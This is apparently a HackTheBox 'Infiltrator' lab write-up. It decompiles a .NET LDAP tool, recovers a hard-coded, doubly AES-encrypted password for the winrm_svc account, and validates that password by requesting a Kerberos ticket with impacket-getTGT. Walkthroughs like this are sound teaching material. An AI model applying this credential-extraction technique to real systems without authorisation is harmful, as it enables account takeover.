UserExplorer.exe
The custom program, UserExplorer.exe
, must be transferred to a Windows host for decompilation
┌──(kali㉿kali)-[~/…/htb/labs/infiltrator/Output_Messenger]
└─$ scp ./UserExplorer.exe admin@10.1.1.19:/Users/admin/Desktop/
admin@10.1.1.19's password:
UserExplorer.exe 100% 6144 9.2MB/s 00:00
Transfer complete
Static Analysis
Opening it up in dnSpy, the binary has 2 classes;
Decryptor
and LdapApp
Decryptor
Class
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
// Token: 0x02000002 RID: 2
public class Decryptor
{
// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
public static string DecryptString(string key, string cipherText)
{
string result;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
}
The Decryptor
class has the DecryptString(key, cipherText)
function, and it’s responsible for decrypting a cipher text with a key
LdapApp
Class
using System;
using System.DirectoryServices;
// Token: 0x02000003 RID: 3
internal class LdapApp
{
// Token: 0x06000004 RID: 4 RVA: 0x0000213C File Offset: 0x0000033C
private static void Main(string[] args)
{
string path = "LDAP://dc01.infiltrator.htb";
string text = "";
string text2 = "";
string text3 = "";
string text4 = "winrm_svc";
string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
int i = 0;
while (i < args.Length)
{
string text5 = args[i].ToLower();
if (text5 != null)
{
if (!(text5 == "-u"))
{
if (!(text5 == "-p"))
{
if (!(text5 == "-s"))
{
if (!(text5 == "-default"))
{
goto IL_C2;
}
text = text4;
text2 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
}
else
{
text3 = args[i + 1];
}
}
else
{
text2 = args[i + 1];
}
}
else
{
text = args[i + 1];
}
i += 2;
continue;
}
IL_C2:
Console.WriteLine(string.Format("Invalid argument: {0}", args[i]));
return;
}
if (string.IsNullOrEmpty(text) || string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text3))
{
Console.WriteLine("Usage: UserExplorer.exe -u <username> -p <password> -s <searchedUsername> [-default]");
Console.WriteLine("To use the default credentials: UserExplorer.exe -default -s userToSearch");
return;
}
try
{
Console.WriteLine("Attempting Service Connection...");
using (DirectoryEntry directoryEntry = new DirectoryEntry(path, text, text2))
{
Console.WriteLine("Service Connection Successful.");
using (DirectorySearcher directorySearcher = new DirectorySearcher(directoryEntry))
{
directorySearcher.Filter = string.Format("(SAMAccountName={0})", text3);
Console.WriteLine(string.Format("Search for {0} user...", text3));
SearchResult searchResult = directorySearcher.FindOne();
if (searchResult != null)
{
Console.WriteLine("User found. Details:");
DirectoryEntry directoryEntry2 = searchResult.GetDirectoryEntry();
Console.WriteLine(string.Format("Name: {0}", directoryEntry2.Properties["cn"].Value));
Console.WriteLine(string.Format("EmailID: {0}", directoryEntry2.Properties["mail"].Value));
Console.WriteLine(string.Format("Telephone Extension: {0}", directoryEntry2.Properties["telephoneNumber"].Value));
Console.WriteLine(string.Format("Department: {0}", directoryEntry2.Properties["department"].Value));
Console.WriteLine(string.Format("Job Title: {0}", directoryEntry2.Properties["title"].Value));
}
else
{
Console.WriteLine("User not found.");
}
}
}
}
catch (Exception ex)
{
Console.WriteLine(string.Format("An error occurred: {0}", ex.Message));
}
}
}
It uses LDAP query to search and return requested user’s data
Hard-coded Credential
The
-default
flag appears to use the hard-coded credential of the winrm_svc
account
It also contains the key
and cipherText
variables
Reverse Engineering
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
// Token: 0x02000002 RID: 2
public class Decryptor
{
// Token: 0x06000002 RID: 2 RVA: 0x00002058 File Offset: 0x00000258
public static string DecryptString(string key, string cipherText)
{
string result;
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
}
public class Program
{
public static void Main(string[] args)
{
// Example key and cipherText
string key = "your-16-char-key!"; // Ensure this is 16 bytes (128 bits), 24 bytes (192 bits), or 32 bytes (256 bits)
string cipherText = "your-cipher-text-here"; // Base64-encoded cipher text
if (args.Length == 2)
{
key = args[0];
cipherText = args[1];
}
else
{
Console.WriteLine("Usage: Decryptor <key> <cipherText>");
return;
}
try
{
string decrypted = Decryptor.DecryptString(key, cipherText);
Console.WriteLine("Decrypted text: " + decrypted);
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
}
From the original Decryptor
class, I appended an entry point, Program
, to run the Decryptor.DecryptString
function with userinput
Compile
┌──(kali㉿kali)-[~/…/htb/labs/infiltrator/Output_Messenger]
└─$ mcs Decryptor.cs
Compiling
Execution
┌──(kali㉿kali)-[~/…/htb/labs/infiltrator/Output_Messenger]
└─$ ./Decryptor.exe b14ca5898a4e4133bbce2ea2315a1916 "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
Decrypted text: SKqwQk81tgq+C3V7pzc1SA==
The decrypted text still appears to be encrypted. It’s possible that it might have been double-encrypted.
┌──(kali㉿kali)-[~/…/htb/labs/infiltrator/Output_Messenger]
└─$ ./Decryptor.exe b14ca5898a4e4133bbce2ea2315a1916 "SKqwQk81tgq+C3V7pzc1SA=="
Decrypted text: WinRm@$svc^!^P
It was indeed double-encrypted
The output appears to be a password; WinRm@$svc^!^P
Validation
┌──(kali㉿kali)-[~/archive/htb/labs/infiltrator]
└─$ impacket-getTGT INFILTRATOR.HTB/winrm_svc@dc01.infiltrator.htb -dc-ip $IP
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Password: WinRm@$svc^!^P
[*] Saving ticket in winrm_svc@dc01.infiltrator.htb.ccache
Successfully validated
TGT generated for the winrm_svc
account